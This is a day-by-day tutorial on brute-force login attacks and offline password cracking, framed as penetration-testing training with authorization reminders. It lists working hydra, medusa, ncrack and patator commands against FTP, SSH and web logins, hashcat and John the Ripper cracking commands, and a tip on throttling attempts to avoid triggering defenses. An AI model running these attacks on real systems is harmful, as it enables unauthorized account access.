Brute Force Mastery Guide (Day 1-30)

This guide covers brute-force techniques for password cracking and authentication testing, organized day-by-day for progressive learning.

Day 1: Install Tools

- **Command:** `apt install hydra medusa ncrack patator john hashcat`
- **Purpose:** Set up brute-force and password cracking tools.

Day 2: Understand Password Policies

- **Task:** Learn password lengths, complexity, hash types, and authentication mechanisms.
- **Purpose:** Identify best brute-force approaches.

Day 3: Ethical Scoping

- **Task:** Determine authorized targets and test environments.
- **Purpose:** Ensure legality and ethical compliance.

Day 4: Prepare Wordlists

- **Task:** Collect common wordlists (`rockyou.txt`, SecLists).
- **Purpose:** Use for brute-force and dictionary attacks.

Day 5: Lab Testing

- **Task:** Test brute-force techniques in isolated lab environment.
- **Purpose:** Avoid illegal activity.

Day 6: Hydra FTP Attack

- **Command:** `hydra -L users.txt -P passwords.txt ftp://example.com`
- **Purpose:** Test FTP login credentials.

Day 7: Hydra SSH Attack

- **Command:** `hydra -L users.txt -P passwords.txt ssh://example.com`
- **Purpose:** Test SSH login credentials.

Day 8: Verbose Output

- **Command:** `hydra -vV -L users.txt -P passwords.txt ssh://example.com`

- **Purpose:** See detailed attempt information.

Day 9: HTTP POST Form Attack

- **Command:** `hydra -L users.txt -P passwords.txt example.com http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"`
- **Purpose:** Test login forms for weak credentials.

Day 10: Save Hydra Results

- **Task:** Use `-o output.txt` to save found credentials.
- **Purpose:** Documentation for reporting.

Day 11: Medusa SSH Attack

- **Command:** `medusa -h example.com -u admin -P passwords.txt -M ssh`
- **Purpose:** Alternative SSH brute-force tool.

Day 12: Medusa Multi-target FTP

- **Command:** `medusa -H targets.txt -U users.txt -P passwords.txt -M ftp`
- **Purpose:** Test multiple targets efficiently.

Day 13: Medusa Stop on Success

- **Command:** `-f`
- **Purpose:** Stop after first valid credential is found.

Day 14: Ncrack Multi-protocol

- **Command:** `ncrack -p 22,23 -U users.txt -P passwords.txt example.com`
- **Purpose:** Test multiple services at once.

Day 15: Patator FTP Attack

- **Command:** `patator ftp_login host=example.com user=FILE0 password=FILE1 0=users.txt 1=passwords.txt`
- **Purpose:** Flexible brute-force attacks.

Day 16: Offline Hash Cracking - MD5

- **Command:** `hashcat -m 0 -a 0 hash.txt rockyou.txt`
- **Purpose:** Recover passwords from MD5 hashes.

Day 17: Offline Hash Cracking - SHA1

- **Command:** `hashcat -m 100 -a 0 hash.txt rockyou.txt`
- **Purpose:** Recover passwords from SHA1 hashes.

Day 18: John the Ripper Basics

- **Command:** `john --wordlist=rockyou.txt hash.txt`
- **Purpose:** Simple offline hash cracking.

Day 19: Salted Hashes

- **Task:** Identify salted vs unsalted hashes.
- **Purpose:** Adjust cracking strategies.

Day 20: Mask Attack in Hashcat

- **Command:** `hashcat -m 0 -a 3 hash.txt ?l?l?l?l?d?d`
- **Purpose:** Brute-force based on pattern rules.

Day 21: Rules-Based Attacks

- **Command:** `hashcat -m 0 -a 0 -r rules/best64.rule hash.txt rockyou.txt`
- **Purpose:** Modify wordlist intelligently for better success rate.

Day 22: SSH Brute-force with Rate Limit

- **Task:** Limit attempts to avoid lockouts.
- **Purpose:** Avoid triggering defenses.

Day 23: FTP Brute-force with Anonymous Test

- **Task:** Attempt anonymous login.
- **Purpose:** Detect misconfigured services.

Day 24: HTTP Basic Auth Attack

- **Command:** `hydra -L users.txt -P passwords.txt example.com http-get /protected`
- **Purpose:** Test web auth.

Day 25: Multi-factor Testing (Lab)

- **Task:** Test accounts with 2FA enabled in lab environment.
- **Purpose:** Understand modern authentication challenges.

Day 26: Combine Tools in Script

- **Task:** Automate Hydra/Medusa/Ncrack with scripts.
- **Purpose:** Increase efficiency of brute-force testing.

Day 27: Logging Attempts

- **Task:** Save logs and analyze failed/successful attempts.
- **Purpose:** Track and document testing progress.

Day 28: Automate Hash Cracking

- **Task:** Use Hashcat/JTR in scripts for offline cracking.
- **Purpose:** Save time on large hash lists.

Day 29: Reporting & Documentation

- **Task:** Compile all successful attacks and observations.
- **Purpose:** Prepare professional penetration testing report.

Day 30: Legal & Ethical Review

- **Task:** Ensure all brute-force testing was authorized and within scope.
- **Purpose:** Avoid legal issues and maintain ethical standards.

Note: Only perform brute-force attacks on systems you own or have explicit permission to test. Unauthorized attacks are illegal.